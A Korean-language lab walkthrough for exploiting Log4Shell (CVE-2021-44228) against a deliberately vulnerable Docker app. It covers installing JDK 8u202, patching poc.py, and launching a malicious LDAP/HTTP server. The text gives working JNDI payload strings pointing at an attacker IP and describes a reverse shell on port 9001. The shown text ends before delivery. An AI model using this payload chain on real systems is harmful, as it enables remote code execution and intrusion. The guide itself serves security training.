
Docker, Kali Linux, Burp Suite 및 log4j-shell-poc을 사용하여 Log4Shell(CVE-2021-44228)을 악용하고 이해하기 위한 실습 랩입니다. 통제된 랩 환경에서 교육 및 방어 훈련용으로만 사용하십시오.
Log4Shell(CVE-2021-44228)은 지금까지 공개된 원격 코드 실행 취약점 중 가장 영향력이 큰 것 중 하나입니다. 널리 사용되는 Java 로깅 프레임워크인 Apache Log4j 2에 영향을 미치며, 공격자가 로그 메시지의 JNDI lookup을 악용하여 임의 코드를 실행할 수 있게 합니다.
이 가이드는 다음을 사용하여 완전하고 재현 가능한 데모 랩을 제공합니다:
log4j-shell-poc이 자료는 통제된 환경에서의 교육, 연구, 훈련 및 방어 인식 제고를 위해 설계되었습니다. 구조와 스타일은 동반 "Shellshock" 랩 README와 동일한 정신을 따릅니다.
poc.py가 JDK 1.8.0_202을 사용하도록 구성curl로 Log4Shell 악용이 랩은 반드시 명시적 승인을 받은 통제된 환경(자신의 랩, 교실 VM 등)에서만 수행해야 합니다.
Log4Shell(CVE-2021-44228)은 Apache Log4j 2의 치명적인 RCE 취약점입니다.
문제는 취약한 Log4j2 버전이 공격자가 제어하는 다음과 같은 문자열을 해석한다는 데서 발생합니다:
${jndi:ldap://ATTACKER_IP:1389/a}
이 문자열이 로그에 기록되면 Log4j는:
이 랩에서 여러분은 다음을 수행합니다:
log4j-shell-poc을 사용하여 Kali에서 악성 LDAP + HTTP 서버를 실행합니다.curl 및 Burp Suite를 통해 Log4Shell payload를 전달합니다.이 랩을 마치면 다음을 할 수 있어야 합니다:
모든 구성 요소는 기존 가상 랩 위에서 실행됩니다. 이 문서에서는 다음을 가정합니다:
| 구성 요소 | 역할 / 설명 | 도구 / 서비스 | 주소 지정 예시 |
|---|---|---|---|
| Kali Linux VM(공격자 + 호스트) | PoC exploit, LDAP 서버, HTTP 서버, Netcat 리스너, Burp Suite 실행 | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4(예시 Kali IP) |
| 취약한 Log4j2 웹 애플리케이션 | 대상; Log4Shell에 취약한 Spring Boot 웹 앱 | Docker 이미지: ghcr.io/christophetd/log4shell-vulnerable-app | http://127.0.0.1:8080에 노출 |
핵심 아이디어
공격자는 다음을 주입합니다:
${jndi:ldap://192.168.1.4:1389/a}
HTTP 헤더에 넣습니다. 취약한 앱은 Log4j2를 사용하여 이를 로그로 기록합니다 → 192.168.1.4:1389로 JNDI LDAP lookup을 수행합니다 → http://192.168.1.4:8000에서 악성 클래스를 다운로드합니다 → 클래스를 실행하여 192.168.1.4:9001로 리버스 셸을 엽니다.
Kali에는 다음이 필요합니다:
nc).이 가이드 전체에서 Kali IP가 다음과 같다고 가정합니다:
192.168.1.4
IP가 다르다면 모든 명령어를 그에 맞게 조정하십시오.
PoC는 Java SE 8 Update 202(JDK 1.8.0_202) 에 의존합니다. 이후 Java 버전은 이 exploit이 사용하는 원격 클래스 로딩 동작을 제한하기 때문입니다.
Kali에 이미 OpenJDK 21(또는 유사한 버전)이 있어도 8u202을 별도로 설치해야 합니다.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
미러 루트:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Linux x64 tarball 다운로드(약 185MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # 약 185M여야 합니다
/usr/bin/jdk1.8.0_202에 압축 해제sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
--strip-components=1 옵션은 아카이브에서 최상위 디렉터리를 제거하여 파일이 /usr/bin/jdk1.8.0_202 아래에 직접 놓이게 합니다.
/usr/bin/jdk1.8.0_202/bin/java -version
예상 출력:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
이 출력이 보이면 JDK 1.8.0_202이 올바르게 설치된 것입니다.
Kali의 새 터미널에서(~/Log4Shell에 있어도 됩니다):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
다음과 유사한 로그가 보여야 합니다:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/로 접근할 수 있습니다.빠른 정상 작동 확인:
curl http://127.0.0.1:8080/
Whitelabel Error Page(HTTP 400)가 보일 수 있습니다. 괜찮습니다 – 필요한 것은 앱이 실행 중이고 요청을 로그로 기록하는 것뿐입니다.
log4j-shell-poc 클론새 터미널에서:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
파일 확인:
ls
# poc.py, target/, README 등. Exploit.java는 나중에 생성됩니다.
poc.py가 JDK 1.8.0_202을 사용하도록 구성기본적으로 poc.py는 리포지토리 안의 jdk1.8.0_20이라는 디렉터리에서 로컬 JDK를 찾을 것으로 예상합니다. 대신 JDK 8u202을 /usr/bin/jdk1.8.0_202에 설치했으므로 스크립트를 업데이트해야 합니다.
poc.py 열기nano poc.py
jdk1.8.0_20을 검색합니다(nano에서: Ctrl+W, jdk1.8.0_20 입력, Enter).
다음과 같은 세 곳을 찾을 수 있습니다:
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
다음으로 교체합니다:
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
저장하고 종료합니다:
Ctrl + O → EnterCtrl + X이제 PoC는 /usr/bin의 JDK 1.8.0_202을 사용합니다.
~/Log4Shell/log4j-shell-poc에서:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
매개변수:
--userip – Kali IP(공격자): 예: 192.168.1.4.--webport – 내장 HTTP 서버 포트: 8000.--lport – payload가 다시 연결하는 포트: 9001.모든 것이 올바르게 구성되었다면 다음과 같은 내용이 보여야 합니다:
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}